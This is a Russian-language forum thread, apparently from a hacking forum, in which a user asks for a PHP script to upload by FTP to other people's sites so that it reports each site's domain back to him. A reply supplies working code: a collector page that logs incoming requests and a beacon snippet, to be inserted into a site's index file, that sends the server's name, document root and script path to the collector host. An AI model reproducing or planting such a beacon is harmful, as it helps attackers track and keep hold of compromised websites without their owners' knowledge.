скрипт пхп залить на фтп а этот скрипт

Discussion in 'PHP' started by flagmen, 28 Nov 2009.

  1. flagmen

    flagmen New Member

    Joined:
    14 Nov 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Нужен скрипт
    скрипт пхп заливаем через фтп а этот скрипт пингует мой сервер или сайт, Нужно чтобы узнать домен сайта где лижит мой скрипт :)

    есть чтонибудь подобное?
     
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    можно, только если будет возможность запустить этот залитый php-скрипт. Сам по себе он не запустится (крон, инклуд)
     
  3. flagmen

    flagmen New Member

    Joined:
    14 Nov 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    крон отпадает сразу, какой там крон в фтп :) ?
    А инклюд можно в шаб запихнуть или в индекс, но я так понимаю если сайт не посищаем то фиг даждешси пинга?
    Или если бот загрузит индекс то скрипт пинг сделает?
     
    #3 flagmen, 28 Nov 2009
    Last edited: 28 Nov 2009
  4. flagmen

    flagmen New Member

    Joined:
    14 Nov 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Вот разобрались как скрипт работать будет,:)
    Ни кто не на кодит его?
    нужен сам пингатор чтобы пингавал на сервер отсылал урл и ип сервера где находится скрипт. Ну и приемщик который будет записывать результат отправки пингатора, например в log.txt :)
     
  5. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Делаеш у себя админку:
    admin.php
    PHP:
    <?php
    file_put_contents
    ('log.txt'$_SERVER['REQUEST_URI']."\r\n"FILE_APPEND);
    ?>
    Делаеш бота, вставляеш код в индекс сайта:
    PHP:
    <?php
    define
    ('DCR'$_SERVER['DOCUMENT_ROOT']);
    define('SRN'$_SERVER['SERVER_NAME']);
    define('SCN'$_SERVER['SCRIPT_NAME']);
    $fp = @file_get_contents('http://localhost/admin.php?DCR='.DCR.'&SRN='.SRN.'&SCN='.SCN);
    ?>
    В итоге будеш получать логи такого вида:
    SRN=localhost - это и есть домен.
    SCN=/fake.php - это с какого файла был отстук.
    Модифицируй сам, чтоб логи по пицот раз не дублировались